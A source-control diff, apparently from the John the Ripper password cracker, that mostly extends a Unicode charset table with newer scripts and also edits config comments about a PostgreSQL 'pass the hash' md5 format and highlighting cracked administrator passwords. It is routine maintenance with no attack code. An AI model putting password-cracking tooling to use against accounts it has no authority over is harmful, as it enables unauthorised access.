charset[i++] = 0x1056f; // CAUCASIAN ALBANIAN CITATION MARK
// 10570..105BF; Vithkuqi
c = 0x10570; // from VITHKUQI CAPITAL LETTER A
while (c <= 0x1057a) // ..to VITHKUQI CAPITAL LETTER GA
charset[i++] = c++;
c = 0x1057c; // from VITHKUQI CAPITAL LETTER HA
while (c <= 0x1058a) // ..to VITHKUQI CAPITAL LETTER RE
charset[i++] = c++;
c = 0x1058c; // from VITHKUQI CAPITAL LETTER SE
while (c <= 0x10592) // ..to VITHKUQI CAPITAL LETTER XE
charset[i++] = c++;
charset[i++] = 0x10594; // VITHKUQI CAPITAL LETTER Y
charset[i++] = 0x10595; // VITHKUQI CAPITAL LETTER ZE
c = 0x10597; // from VITHKUQI SMALL LETTER A
while (c <= 0x105a1) // ..to VITHKUQI SMALL LETTER GA
charset[i++] = c++;
c = 0x105a3; // from VITHKUQI SMALL LETTER HA
while (c <= 0x105b1) // ..to VITHKUQI SMALL LETTER RE
charset[i++] = c++;
c = 0x105b3; // from VITHKUQI SMALL LETTER SE
while (c <= 0x105b9) // ..to VITHKUQI SMALL LETTER XE
charset[i++] = c++;
charset[i++] = 0x105bb; // VITHKUQI SMALL LETTER Y
charset[i++] = 0x105bc; // VITHKUQI SMALL LETTER ZE
// 105C0..105FF; Todhri
c = 0x105c0; // from TODHRI LETTER A
while (c <= 0x105f3) // ..to TODHRI LETTER OO
charset[i++] = c++;
// 10600..1077F; Linear A
c = 0x10600; // from LINEAR A SIGN AB001
while (c <= 0x10736) // ..to LINEAR A SIGN A664
@@ -1458,6 +1476,16 @@ void init()
c = 0x10760; // from LINEAR A SIGN A800
while (c <= 0x10767) // ..to LINEAR A SIGN A807
charset[i++] = c++;
// 10780..107BF; Latin Extended-F
c = 0x10780; // from MODIFIER LETTER SMALL CAPITAL AA
while (c <= 0x10785) // ..to MODIFIER LETTER SMALL B WITH HOOK
charset[i++] = c++;
c = 0x10787; // from MODIFIER LETTER SMALL DZ DIGRAPH
while (c <= 0x107b0) // ..to MODIFIER LETTER SMALL V WITH RIGHT HOOK
charset[i++] = c++;
c = 0x107b2; // from MODIFIER LETTER SMALL CAPITAL Y
while (c <= 0x107ba) // ..to MODIFIER LETTER SMALL S WITH CURL
charset[i++] = c++;
// 10800..1083F; Cypriot Syllabary
c = 0x10800; // from CYPRIOT SYLLABLE A
while (c <= 0x10805) // ..to CYPRIOT SYLLABLE JA
@@ -1610,6 +1638,15 @@ void init()
c = 0x10d30; // from HANIFI ROHINGYA DIGIT ZERO
while (c <= 0x10d39) // ..to HANIFI ROHINGYA DIGIT NINE
charset[i++] = c++;
// 10D40..10D8F; Garay
c = 0x10d40; // from GARAY DIGIT ZERO
while (c <= 0x10d65) // ..to GARAY CAPITAL LETTER OLD NA
charset[i++] = c++;
c = 0x10d69; // from GARAY VOWEL SIGN E
while (c <= 0x10d85) // ..to GARAY SMALL LETTER OLD NA
charset[i++] = c++;
charset[i++] = 0x10d8e; // GARAY PLUS SIGN
charset[i++] = 0x10d8f; // GARAY MINUS SIGN
// 10E60..10E7F; Rumi Numeral Symbols
c = 0x10e60; // from RUMI DIGIT ONE
while (c <= 0x10e7e) // ..to RUMI FRACTION TWO THIRDS
@@ -1622,6 +1659,12 @@ void init()
charset[i++] = 0x10ead; // YEZIDI HYPHENATION MARK
charset[i++] = 0x10eb0; // YEZIDI LETTER LAM WITH DOT ABOVE
charset[i++] = 0x10eb1; // YEZIDI LETTER YOT WITH CIRCUMFLEX ABOVE
// 10EC0..10EFF; Arabic Extended-C
charset[i++] = 0x10ec2; // ARABIC LETTER DAL WITH TWO DOTS VERTICALLY BELOW
charset[i++] = 0x10ec4; // ARABIC LETTER KAF WITH TWO DOTS VERTICALLY BELOW
c = 0x10efc; // from ARABIC COMBINING ALEF OVERLAY
while (c <= 0x10eff) // ..to ARABIC SMALL LOW WORD MADDA
charset[i++] = c++;
// 10F00..10F2F; Old Sogdian
c = 0x10f00; // from OLD SOGDIAN LETTER ALEPH
while (c <= 0x10f27) // ..to OLD SOGDIAN LIGATURE AYIN-DALETH
@@ -1630,6 +1673,10 @@ void init()
c = 0x10f30; // from SOGDIAN LETTER ALEPH
while (c <= 0x10f59) // ..to SOGDIAN PUNCTUATION HALF CIRCLE WITH DOT
charset[i++] = c++;
// 10F70..10FAF; Old Uyghur
c = 0x10f70; // from OLD UYGHUR LETTER ALEPH
while (c <= 0x10f89) // ..to OLD UYGHUR PUNCTUATION FOUR DOTS
charset[i++] = c++;
// 10FB0..10FDF; Chorasmian
c = 0x10fb0; // from CHORASMIAN LETTER ALEPH
while (c <= 0x10fcb) // ..to CHORASMIAN NUMBER ONE HUNDRED
@@ -1643,12 +1690,12 @@ void init()
while (c <= 0x1104d) // ..to BRAHMI PUNCTUATION LOTUS
charset[i++] = c++;
c = 0x11052; // from BRAHMI NUMBER ONE
while (c <= 0x1106f) // ..to BRAHMI DIGIT NINE
while (c <= 0x11075) // ..to BRAHMI LETTER OLD TAMIL LLA
charset[i++] = c++;
charset[i++] = 0x1107f; // BRAHMI NUMBER JOINER
// 11080..110CF; Kaithi
c = 0x11080; // from KAITHI SIGN CANDRABINDU
while (c <= 0x110c1) // ..to KAITHI DOUBLE DANDA
while (c <= 0x110c2) // ..to KAITHI VOWEL SIGN VOCALIC R
charset[i++] = c++;
charset[i++] = 0x110cd; // KAITHI NUMBER SIGN ABOVE
// 110D0..110FF; Sora Sompeng
@@ -1682,7 +1729,7 @@ void init()
while (c <= 0x11211) // ..to KHOJKI LETTER JJA
charset[i++] = c++;
c = 0x11213; // from KHOJKI LETTER NYA
while (c <= 0x1123e) // ..to KHOJKI SIGN SUKUN
while (c <= 0x11241) // ..to KHOJKI VOWEL SIGN VOCALIC R
charset[i++] = c++;
// 11280..112AF; Multani
c = 0x11280; // from MULTANI LETTER A
@@ -1740,6 +1787,26 @@ void init()
c = 0x11370; // from COMBINING GRANTHA LETTER A
while (c <= 0x11374) // ..to COMBINING GRANTHA LETTER PA
charset[i++] = c++;
// 11380..113FF; Tulu-Tigalari
c = 0x11380; // from TULU-TIGALARI LETTER A
while (c <= 0x11389) // ..to TULU-TIGALARI LETTER VOCALIC LL
charset[i++] = c++;
c = 0x11390; // from TULU-TIGALARI LETTER OO
while (c <= 0x113b5) // ..to TULU-TIGALARI LETTER LLLA
charset[i++] = c++;
c = 0x113b7; // from TULU-TIGALARI SIGN AVAGRAHA
while (c <= 0x113c0) // ..to TULU-TIGALARI VOWEL SIGN VOCALIC LL
charset[i++] = c++;
c = 0x113c7; // from TULU-TIGALARI VOWEL SIGN OO
while (c <= 0x113ca) // ..to TULU-TIGALARI SIGN CANDRA ANUNASIKA
charset[i++] = c++;
c = 0x113cc; // from TULU-TIGALARI SIGN ANUSVARA
while (c <= 0x113d5) // ..to TULU-TIGALARI DOUBLE DANDA
charset[i++] = c++;
charset[i++] = 0x113d7; // TULU-TIGALARI SIGN OM PUSHPIKA
charset[i++] = 0x113d8; // TULU-TIGALARI SIGN SHRII PUSHPIKA
charset[i++] = 0x113e1; // TULU-TIGALARI VEDIC TONE SVARITA
charset[i++] = 0x113e2; // TULU-TIGALARI VEDIC TONE ANUDATTA
// 11400..1147F; Newa
c = 0x11400; // from NEWA LETTER A
while (c <= 0x1145b) // ..to NEWA PLACEHOLDER MARK
@@ -1774,12 +1841,16 @@ void init()
charset[i++] = c++;
// 11680..116CF; Takri
c = 0x11680; // from TAKRI LETTER A
while (c <= 0x116b8) // ..to TAKRI LETTER ARCHAIC KHA
while (c <= 0x116b9) // ..to TAKRI ABBREVIATION SIGN
charset[i++] = c++;
c = 0x116c0; // from TAKRI DIGIT ZERO
while (c <= 0x116c9) // ..to TAKRI DIGIT NINE
charset[i++] = c++;
// 11700..1173F; Ahom
// 116D0..116FF; Myanmar Extended-C
c = 0x116d0; // from MYANMAR PAO DIGIT ZERO
while (c <= 0x116e3) // ..to MYANMAR EASTERN PWO KAREN DIGIT NINE
charset[i++] = c++;
// 11700..1174F; Ahom
c = 0x11700; // from AHOM LETTER KA
while (c <= 0x1171a) // ..to AHOM LETTER ALTERNATE BA
charset[i++] = c++;
@@ -1787,7 +1858,7 @@ void init()
while (c <= 0x1172b) // ..to AHOM SIGN KILLER
charset[i++] = c++;
c = 0x11730; // from AHOM DIGIT ZERO
while (c <= 0x1173f) // ..to AHOM SYMBOL VI
while (c <= 0x11746) // ..to AHOM LETTER LLA
charset[i++] = c++;
// 11800..1184F; Dogra
c = 0x11800; // from DOGRA LETTER A
@@ -1836,10 +1907,25 @@ void init()
c = 0x11a50; // from SOYOMBO LETTER A
while (c <= 0x11aa2) // ..to SOYOMBO TERMINAL MARK-2
charset[i++] = c++;
// 11AB0..11ABF; Unified Canadian Aboriginal Syllabics Extended-A
c = 0x11ab0; // from CANADIAN SYLLABICS NATTILIK HI
while (c <= 0x11abf) // ..to CANADIAN SYLLABICS SPA
charset[i++] = c++;
// 11AC0..11AFF; Pau Cin Hau
c = 0x11ac0; // from PAU CIN HAU LETTER PA
while (c <= 0x11af8) // ..to PAU CIN HAU GLOTTAL STOP FINAL
charset[i++] = c++;
// 11B00..11B5F; Devanagari Extended-A
c = 0x11b00; // from DEVANAGARI HEAD MARK
while (c <= 0x11b09) // ..to DEVANAGARI SIGN MINDU
charset[i++] = c++;
// 11BC0..11BFF; Sunuwar
c = 0x11bc0; // from SUNUWAR LETTER DEVI
while (c <= 0x11be1) // ..to SUNUWAR SIGN PVO
charset[i++] = c++;
c = 0x11bf0; // from SUNUWAR DIGIT ZERO
while (c <= 0x11bf9) // ..to SUNUWAR DIGIT NINE
charset[i++] = c++;
// 11C00..11C6F; Bhaiksuki
c = 0x11c00; // from BHAIKSUKI LETTER A
while (c <= 0x11c08) // ..to BHAIKSUKI LETTER VOCALIC L
@@ -1901,6 +1987,16 @@ void init()
c = 0x11ee0; // from MAKASAR LETTER KA
while (c <= 0x11ef8) // ..to MAKASAR END OF SECTION
charset[i++] = c++;
// 11F00..11F5F; Kawi
c = 0x11f00; // from KAWI SIGN CANDRABINDU
while (c <= 0x11f10) // ..to KAWI LETTER O
charset[i++] = c++;
c = 0x11f12; // from KAWI LETTER KA
while (c <= 0x11f3a) // ..to KAWI VOWEL SIGN VOCALIC R
charset[i++] = c++;
c = 0x11f3e; // from KAWI VOWEL SIGN E
while (c <= 0x11f5a) // ..to KAWI SIGN NUKTA
charset[i++] = c++;
// 11FB0..11FBF; Lisu Supplement
charset[i++] = 0x11fb0; // LISU LETTER YHA
// 11FC0..11FFF; Tamil Supplement
@@ -1923,18 +2019,30 @@ void init()
c = 0x12480; // from CUNEIFORM SIGN AB TIMES NUN TENU
while (c <= 0x12543) // ..to CUNEIFORM SIGN ZU5 TIMES THREE DISH TENU
charset[i++] = c++;
// 12F90..12FFF; Cypro-Minoan
c = 0x12f90; // from CYPRO-MINOAN SIGN CM001
while (c <= 0x12ff2) // ..to CYPRO-MINOAN SIGN CM302
charset[i++] = c++;
// 13000..1342F; Egyptian Hieroglyphs
c = 0x13000; // from EGYPTIAN HIEROGLYPH A001
while (c <= 0x1342e) // ..to EGYPTIAN HIEROGLYPH AA032
while (c <= 0x1342f) // ..to EGYPTIAN HIEROGLYPH V011D
charset[i++] = c++;
// 13430..1343F; Egyptian Hieroglyph Format Controls
// 13430..1345F; Egyptian Hieroglyph Format Controls
c = 0x13430; // from EGYPTIAN HIEROGLYPH VERTICAL JOINER
while (c <= 0x13438) // ..to EGYPTIAN HIEROGLYPH END SEGMENT
while (c <= 0x13455) // ..to EGYPTIAN HIEROGLYPH MODIFIER DAMAGED
charset[i++] = c++;
// 13460..143FF; Egyptian Hieroglyphs Extended-A
c = 0x13460; // from EGYPTIAN HIEROGLYPH-13460
while (c <= 0x143fa) // ..to EGYPTIAN HIEROGLYPH-143FA
charset[i++] = c++;
// 14400..1467F; Anatolian Hieroglyphs
c = 0x14400; // from ANATOLIAN HIEROGLYPH A001
while (c <= 0x14646) // ..to ANATOLIAN HIEROGLYPH A530
charset[i++] = c++;
// 16100..1613F; Gurung Khema
c = 0x16100; // from GURUNG KHEMA LETTER A
while (c <= 0x16139) // ..to GURUNG KHEMA DIGIT NINE
charset[i++] = c++;
// 16800..16A3F; Bamum Supplement
c = 0x16800; // from BAMUM LETTER PHASE-A NGKUE MFON
while (c <= 0x16a38) // ..to BAMUM LETTER PHASE-F VUEQ
@@ -1948,6 +2056,13 @@ void init()
charset[i++] = c++;
charset[i++] = 0x16a6e; // MRO DANDA
charset[i++] = 0x16a6f; // MRO DOUBLE DANDA
// 16A70..16ACF; Tangsa
c = 0x16a70; // from TANGSA LETTER OZ
while (c <= 0x16abe) // ..to TANGSA LETTER ZA
charset[i++] = c++;
c = 0x16ac0; // from TANGSA DIGIT ZERO
while (c <= 0x16ac9) // ..to TANGSA DIGIT NINE
charset[i++] = c++;
// 16AD0..16AFF; Bassa Vah
c = 0x16ad0; // from BASSA VAH LETTER ENNI
while (c <= 0x16aed) // ..to BASSA VAH LETTER I
@@ -1971,6 +2086,10 @@ void init()
c = 0x16b7d; // from PAHAWH HMONG CLAN SIGN TSHEEJ
while (c <= 0x16b8f) // ..to PAHAWH HMONG CLAN SIGN VWJ
charset[i++] = c++;
// 16D40..16D7F; Kirat Rai
c = 0x16d40; // from KIRAT RAI SIGN ANUSVARA
while (c <= 0x16d79) // ..to KIRAT RAI DIGIT NINE
charset[i++] = c++;
// 16E40..16E9F; Medefaidrin
c = 0x16e40; // from MEDEFAIDRIN CAPITAL LETTER M
while (c <= 0x16e9a) // ..to MEDEFAIDRIN EXCLAMATION OH
@@ -2003,17 +2122,27 @@ void init()
c = 0x18b00; // from KHITAN SMALL SCRIPT CHARACTER-18B00
while (c <= 0x18cd5) // ..to KHITAN SMALL SCRIPT CHARACTER-18CD5
charset[i++] = c++;
// 18D00..18D8F; Tangut Supplement
charset[i++] = 0x18cff; // KHITAN SMALL SCRIPT CHARACTER-18CFF
// 18D00..18D7F; Tangut Supplement
c = 0x18d00; // from <Tangut Ideograph Supplement, First>
while (c <= 0x18d08) // ..to <Tangut Ideograph Supplement, Last>
charset[i++] = c++;
// 1AFF0..1AFFF; Kana Extended-B
c = 0x1aff0; // from KATAKANA LETTER MINNAN TONE-2
while (c <= 0x1aff3) // ..to KATAKANA LETTER MINNAN TONE-5
charset[i++] = c++;
c = 0x1aff5; // from KATAKANA LETTER MINNAN TONE-7
while (c <= 0x1affb) // ..to KATAKANA LETTER MINNAN NASALIZED TONE-5
charset[i++] = c++;
charset[i++] = 0x1affd; // KATAKANA LETTER MINNAN NASALIZED TONE-7
charset[i++] = 0x1affe; // KATAKANA LETTER MINNAN NASALIZED TONE-8
// 1B000..1B0FF; Kana Supplement
c = 0x1b000; // from KATAKANA LETTER ARCHAIC E
while (c <= 0x1b0ff) // ..to HENTAIGANA LETTER RE-2
charset[i++] = c++;
// 1B100..1B12F; Kana Extended-A
c = 0x1b100; // from HENTAIGANA LETTER RE-3
while (c <= 0x1b11e) // ..to HENTAIGANA LETTER N-MU-MO-2
while (c <= 0x1b122) // ..to KATAKANA LETTER ARCHAIC WU
charset[i++] = c++;
// 1B130..1B16F; Small Kana Extension
charset[i++] = 0x1b150; // HIRAGANA LETTER SMALL WI
@@ -2045,6 +2174,23 @@ void init()
c = 0x1bca0; // from SHORTHAND FORMAT LETTER OVERLAP
while (c <= 0x1bca3) // ..to SHORTHAND FORMAT UP STEP
charset[i++] = c++;
// 1CC00..1CEBF; Symbols for Legacy Computing Supplement
c = 0x1cc00; // from UP-POINTING GO-KART
while (c <= 0x1ccf9) // ..to OUTLINED DIGIT NINE
charset[i++] = c++;
c = 0x1cd00; // from BLOCK OCTANT-3
while (c <= 0x1ceb3) // ..to BLACK RIGHT TRIANGLE CARET
charset[i++] = c++;
// 1CF00..1CFCF; Znamenny Musical Notation
c = 0x1cf00; // from ZNAMENNY COMBINING MARK GORAZDO NIZKO S KRYZHEM ON LEFT
while (c <= 0x1cf2d) // ..to ZNAMENNY COMBINING MARK KRYZH ON LEFT
charset[i++] = c++;
c = 0x1cf30; // from ZNAMENNY COMBINING TONAL RANGE MARK MRACHNO
while (c <= 0x1cf46) // ..to ZNAMENNY PRIZNAK MODIFIER ROG
charset[i++] = c++;
c = 0x1cf50; // from ZNAMENNY NEUME KRYUK
while (c <= 0x1cfc3) // ..to ZNAMENNY NEUME PAUK
charset[i++] = c++;
// 1D000..1D0FF; Byzantine Musical Symbols
c = 0x1d000; // from BYZANTINE MUSICAL SYMBOL PSILI
while (c <= 0x1d0f5) // ..to BYZANTINE MUSICAL SYMBOL GORGON NEO KATO
@@ -2054,12 +2200,16 @@ void init()
while (c <= 0x1d126) // ..to MUSICAL SYMBOL DRUM CLEF-2
charset[i++] = c++;
c = 0x1d129; // from MUSICAL SYMBOL MULTIPLE MEASURE REST
while (c <= 0x1d1e8) // ..to MUSICAL SYMBOL KIEVAN FLAT SIGN
while (c <= 0x1d1ea) // ..to MUSICAL SYMBOL KORON
charset[i++] = c++;
// 1D200..1D24F; Ancient Greek Musical Notation
c = 0x1d200; // from GREEK VOCAL NOTATION SYMBOL-1
while (c <= 0x1d245) // ..to GREEK MUSICAL LEIMMA
charset[i++] = c++;
// 1D2C0..1D2DF; Kaktovik Numerals
c = 0x1d2c0; // from KAKTOVIK NUMERAL ZERO
while (c <= 0x1d2d3) // ..to KAKTOVIK NUMERAL NINETEEN
charset[i++] = c++;
// 1D2E0..1D2FF; Mayan Numerals
c = 0x1d2e0; // from MAYAN NUMERAL ZERO
while (c <= 0x1d2f3) // ..to MAYAN NUMERAL NINETEEN
@@ -2135,6 +2285,13 @@ void init()
c = 0x1daa1; // from SIGNWRITING ROTATION MODIFIER-2
while (c <= 0x1daaf) // ..to SIGNWRITING ROTATION MODIFIER-16
charset[i++] = c++;
// 1DF00..1DFFF; Latin Extended-G
c = 0x1df00; // from LATIN SMALL LETTER FENG DIGRAPH WITH TRILL
while (c <= 0x1df1e) // ..to LATIN SMALL LETTER S WITH CURL
charset[i++] = c++;
c = 0x1df25; // from LATIN SMALL LETTER D WITH MID-HEIGHT LEFT HOOK
while (c <= 0x1df2a) // ..to LATIN SMALL LETTER T WITH MID-HEIGHT LEFT HOOK
charset[i++] = c++;
// 1E000..1E02F; Glagolitic Supplement
c = 0x1e000; // from COMBINING GLAGOLITIC LETTER AZU
while (c <= 0x1e006) // ..to COMBINING GLAGOLITIC LETTER ZHIVETE
@@ -2150,6 +2307,11 @@ void init()
c = 0x1e026; // from COMBINING GLAGOLITIC LETTER YO
while (c <= 0x1e02a) // ..to COMBINING GLAGOLITIC LETTER FITA
charset[i++] = c++;
// 1E030..1E08F; Cyrillic Extended-D
c = 0x1e030; // from MODIFIER LETTER CYRILLIC SMALL A
while (c <= 0x1e06d) // ..to MODIFIER LETTER CYRILLIC SMALL STRAIGHT U WITH STROKE
charset[i++] = c++;
charset[i++] = 0x1e08f; // COMBINING CYRILLIC SMALL LETTER BYELORUSSIAN-UKRAINIAN I
// 1E100..1E14F; Nyiakeng Puachue Hmong
c = 0x1e100; // from NYIAKENG PUACHUE HMONG LETTER MA
while (c <= 0x1e12c) // ..to NYIAKENG PUACHUE HMONG LETTER W
@@ -2162,11 +2324,36 @@ void init()
charset[i++] = c++;
charset[i++] = 0x1e14e; // NYIAKENG PUACHUE HMONG LOGOGRAM NYAJ
charset[i++] = 0x1e14f; // NYIAKENG PUACHUE HMONG CIRCLED CA
// 1E290..1E2BF; Toto
c = 0x1e290; // from TOTO LETTER PA
while (c <= 0x1e2ae) // ..to TOTO SIGN RISING TONE
charset[i++] = c++;
// 1E2C0..1E2FF; Wancho
c = 0x1e2c0; // from WANCHO LETTER AA
while (c <= 0x1e2f9) // ..to WANCHO DIGIT NINE
charset[i++] = c++;
charset[i++] = 0x1e2ff; // WANCHO NGUN SIGN
// 1E4D0..1E4FF; Nag Mundari
c = 0x1e4d0; // from NAG MUNDARI LETTER O
while (c <= 0x1e4f9) // ..to NAG MUNDARI DIGIT NINE
charset[i++] = c++;
// 1E5D0..1E5FF; Ol Onal
c = 0x1e5d0; // from OL ONAL LETTER O
while (c <= 0x1e5fa) // ..to OL ONAL DIGIT NINE
charset[i++] = c++;
charset[i++] = 0x1e5ff; // OL ONAL ABBREVIATION SIGN
// 1E7E0..1E7FF; Ethiopic Extended-B
c = 0x1e7e0; // from ETHIOPIC SYLLABLE HHYA
while (c <= 0x1e7e6) // ..to ETHIOPIC SYLLABLE HHYO
charset[i++] = c++;
c = 0x1e7e8; // from ETHIOPIC SYLLABLE GURAGE HHWA
while (c <= 0x1e7eb) // ..to ETHIOPIC SYLLABLE HHWE
charset[i++] = c++;
charset[i++] = 0x1e7ed; // ETHIOPIC SYLLABLE GURAGE MWI
charset[i++] = 0x1e7ee; // ETHIOPIC SYLLABLE GURAGE MWEE
c = 0x1e7f0; // from ETHIOPIC SYLLABLE GURAGE QWI
while (c <= 0x1e7fe) // ..to ETHIOPIC SYLLABLE GURAGE PWEE
charset[i++] = c++;
// 1E800..1E8DF; Mende Kikakui
c = 0x1e800; // from MENDE KIKAKUI SYLLABLE M001 KI
while (c <= 0x1e8c4) // ..to MENDE KIKAKUI SYLLABLE M060 NYON
@@ -2298,7 +2485,7 @@ void init()
c = 0x1f680; // from ROCKET
while (c <= 0x1f6d7) // ..to ELEVATOR
charset[i++] = c++;
c = 0x1f6e0; // from HAMMER AND WRENCH
c = 0x1f6dc; // from WIRELESS
while (c <= 0x1f6ec) // ..to AIRPLANE ARRIVING
charset[i++] = c++;
c = 0x1f6f0; // from SATELLITE
@@ -2306,15 +2493,19 @@ void init()
charset[i++] = c++;
// 1F700..1F77F; Alchemical Symbols
c = 0x1f700; // from ALCHEMICAL SYMBOL FOR QUINTESSENCE
while (c <= 0x1f773) // ..to ALCHEMICAL SYMBOL FOR HALF OUNCE
while (c <= 0x1f776) // ..to LUNAR ECLIPSE
charset[i++] = c++;
c = 0x1f77b; // from HAUMEA
while (c <= 0x1f77f) // ..to ORCUS
charset[i++] = c++;
// 1F780..1F7FF; Geometric Shapes Extended
c = 0x1f780; // from BLACK LEFT-POINTING ISOSCELES RIGHT TRIANGLE
while (c <= 0x1f7d8) // ..to NEGATIVE CIRCLED SQUARE
while (c <= 0x1f7d9) // ..to NINE POINTED WHITE STAR
charset[i++] = c++;
c = 0x1f7e0; // from LARGE ORANGE CIRCLE
while (c <= 0x1f7eb) // ..to LARGE BROWN SQUARE
charset[i++] = c++;
charset[i++] = 0x1f7f0; // HEAVY EQUALS SIGN
// 1F800..1F8FF; Supplemental Arrows-C
c = 0x1f800; // from LEFTWARDS ARROW WITH SMALL TRIANGLE ARROWHEAD
while (c <= 0x1f80b) // ..to DOWNWARDS ARROW WITH LARGE TRIANGLE ARROWHEAD
@@ -2331,16 +2522,13 @@ void init()
c = 0x1f890; // from LEFTWARDS TRIANGLE ARROWHEAD
while (c <= 0x1f8ad) // ..to WHITE ARROW SHAFT WIDTH TWO THIRDS
charset[i++] = c++;
charset[i++] = 0x1f8b0; // ARROW POINTING UPWARDS THEN NORTH WEST
charset[i++] = 0x1f8b1; // ARROW POINTING RIGHTWARDS THEN CURVING SOUTH WEST
c = 0x1f8b0; // from ARROW POINTING UPWARDS THEN NORTH WEST
while (c <= 0x1f8bb) // ..to SOUTH WEST ARROW FROM BAR
charset[i++] = c++;
charset[i++] = 0x1f8c0; // LEFTWARDS ARROW FROM DOWNWARDS ARROW
charset[i++] = 0x1f8c1; // RIGHTWARDS ARROW FROM DOWNWARDS ARROW
// 1F900..1F9FF; Supplemental Symbols and Pictographs
c = 0x1f900; // from CIRCLED CROSS FORMEE WITH FOUR DOTS
while (c <= 0x1f978) // ..to DISGUISED FACE
charset[i++] = c++;
c = 0x1f97a; // from FACE WITH PLEADING EYES
while (c <= 0x1f9cb) // ..to BUBBLE TEA
charset[i++] = c++;
c = 0x1f9cd; // from STANDING PERSON
while (c <= 0x1f9ff) // ..to NAZAR AMULET
charset[i++] = c++;
// 1FA00..1FA6F; Chess Symbols
@@ -2352,41 +2540,37 @@ void init()
charset[i++] = c++;
// 1FA70..1FAFF; Symbols and Pictographs Extended-A
c = 0x1fa70; // from BALLET SHOES
while (c <= 0x1fa74) // ..to THONG SANDAL
while (c <= 0x1fa7c) // ..to CRUTCH
charset[i++] = c++;
charset[i++] = 0x1fa78; // DROP OF BLOOD
charset[i++] = 0x1fa7a; // STETHOSCOPE
c = 0x1fa80; // from YO-YO
while (c <= 0x1fa86) // ..to NESTING DOLLS
while (c <= 0x1fa89) // ..to HARP
charset[i++] = c++;
c = 0x1fa90; // from RINGED PLANET
while (c <= 0x1faa8) // ..to ROCK
c = 0x1fa8f; // from SHOVEL
while (c <= 0x1fac6) // ..to FINGERPRINT
charset[i++] = c++;
c = 0x1fab0; // from FLY
while (c <= 0x1fab6) // ..to FEATHER
c = 0x1face; // from MOOSE
while (c <= 0x1fadc) // ..to ROOT VEGETABLE
charset[i++] = c++;
charset[i++] = 0x1fac0; // ANATOMICAL HEART
charset[i++] = 0x1fac2; // PEOPLE HUGGING
c = 0x1fad0; // from BLUEBERRIES
while (c <= 0x1fad6) // ..to TEAPOT
c = 0x1fadf; // from SPLATTER
while (c <= 0x1fae9) // ..to FACE WITH BAGS UNDER EYES
charset[i++] = c++;
c = 0x1faf0; // from HAND WITH INDEX FINGER AND THUMB CROSSED
while (c <= 0x1faf8) // ..to RIGHTWARDS PUSHING HAND
charset[i++] = c++;
// 1FB00..1FBFF; Symbols for Legacy Computing
c = 0x1fb00; // from BLOCK SEXTANT-1
while (c <= 0x1fb92) // ..to UPPER HALF INVERSE MEDIUM SHADE AND LOWER HALF BLOCK
charset[i++] = c++;
c = 0x1fb94; // from LEFT HALF INVERSE MEDIUM SHADE AND RIGHT HALF BLOCK
while (c <= 0x1fbca) // ..to WHITE UP-POINTING CHEVRON
charset[i++] = c++;
c = 0x1fbf0; // from SEGMENTED DIGIT ZERO
while (c <= 0x1fbf9) // ..to SEGMENTED DIGIT NINE
charset[i++] = c++;
// 20000..2A6DF; CJK Unified Ideographs Extension B
c = 0x20000; // from <CJK Ideograph Extension B, First>
while (c <= 0x2a6dd) // ..to <CJK Ideograph Extension B, Last>
while (c <= 0x2a6df) // ..to <CJK Ideograph Extension B, Last>
charset[i++] = c++;
// 2A700..2B73F; CJK Unified Ideographs Extension C
c = 0x2a700; // from <CJK Ideograph Extension C, First>
while (c <= 0x2b734) // ..to <CJK Ideograph Extension C, Last>
while (c <= 0x2b739) // ..to <CJK Ideograph Extension C, Last>
charset[i++] = c++;
// 2B740..2B81F; CJK Unified Ideographs Extension D
c = 0x2b740; // from <CJK Ideograph Extension D, First>
@@ -2400,6 +2584,10 @@ void init()
c = 0x2ceb0; // from <CJK Ideograph Extension F, First>
while (c <= 0x2ebe0) // ..to <CJK Ideograph Extension F, Last>
charset[i++] = c++;
// 2EBF0..2EE5F; CJK Unified Ideographs Extension I
c = 0x2ebf0; // from <CJK Ideograph Extension I, First>
while (c <= 0x2ee5d) // ..to <CJK Ideograph Extension I, Last>
charset[i++] = c++;
// 2F800..2FA1F; CJK Compatibility Ideographs Supplement
c = 0x2f800; // from CJK COMPATIBILITY IDEOGRAPH-2F800
while (c <= 0x2fa1d) // ..to CJK COMPATIBILITY IDEOGRAPH-2FA1D
@@ -2408,6 +2596,10 @@ void init()
c = 0x30000; // from <CJK Ideograph Extension G, First>
while (c <= 0x3134a) // ..to <CJK Ideograph Extension G, Last>
charset[i++] = c++;
// 31350..323AF; CJK Unified Ideographs Extension H
c = 0x31350; // from <CJK Ideograph Extension H, First>
while (c <= 0x323af) // ..to <CJK Ideograph Extension H, Last>
charset[i++] = c++;
// E0000..E007F; Tags
c = 0xe0020; // from TAG SPACE
while (c <= 0xe007f) // ..to CANCEL TAG
+1 -1
View File
@@ -466,7 +466,7 @@ Test=$dynamic_1014$e463b65f14643afd970c7ea7e7efeb0f$1234567890123456789012345678
####################################################################
# Dynamic type for md5(md5($p.$u).$s) for PostgreSQL 'pass the hash' weakness
# See also dynamic_1034 for PostgreSQL MD5
# http://www.openwall.com/lists/oss-security/2015/03/03/12
# https://www.openwall.com/lists/oss-security/2015/03/03/12
####################################################################
[List.Generic:dynamic_1015]
Expression=md5(md5($p.$u).$s) (PostgreSQL 'pass the hash')
+447 -191
View File
@@ -1,6 +1,6 @@
#
# This file is part of John the Ripper password cracker,
# Copyright (c) 1996-2006,2008-2013,2019 by Solar Designer
# Copyright (c) 1996-2025 by Solar Designer and others
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted.
@@ -11,8 +11,6 @@
# license above, many source files in John the Ripper are under GPLv2.
# For licensing terms for John the Ripper as a whole, see doc/LICENSE.
#
# ...with changes in the jumbo patch, by various authors
#
# The [Options] section is for general options only.
# Note that MPI specific options have been moved
@@ -108,23 +106,35 @@ LogDateStderrFormat =
# parsed as ESC for use in ANSI codes (like in the default)
TerminalReset = ^[0m
# If this is true, colorize some messages - such as test failures - if stdout
# is a terminal.
# The color codes can be redefined here if needed. The ^ character will be
# parsed as ESC for use in ANSI escape sequences (like in the defaults here,
# which define red for errors, green for notices and yellow for warnings).
# Note that you don't strictly need to use ANSI sequences - other things are
# fine too.
# Set this to N or comment it out to disable all color stuff.
UseColors = Y
ColorError = ^[0;31m
ColorNotice = ^[0;32m
ColorWarning = ^[0;33m
ColorEnd = ^[0m
# This can be used to colorize (on screen) or otherwise emphasize (in log
# files) output whenever a supposed administrator password gets cracked.
# files or if stdout is not a terminal) output whenever a supposed
# administrator password, or some other password, gets cracked.
#
# The colors used will be yellow for regular cracks and red for users that we
# know or guess are admin users (including but not limited to uid 0 or 500,
# or login 'root' or 'Administrator').
#
# Set this to N or comment it out to disable all "MarkAdmin" stuff.
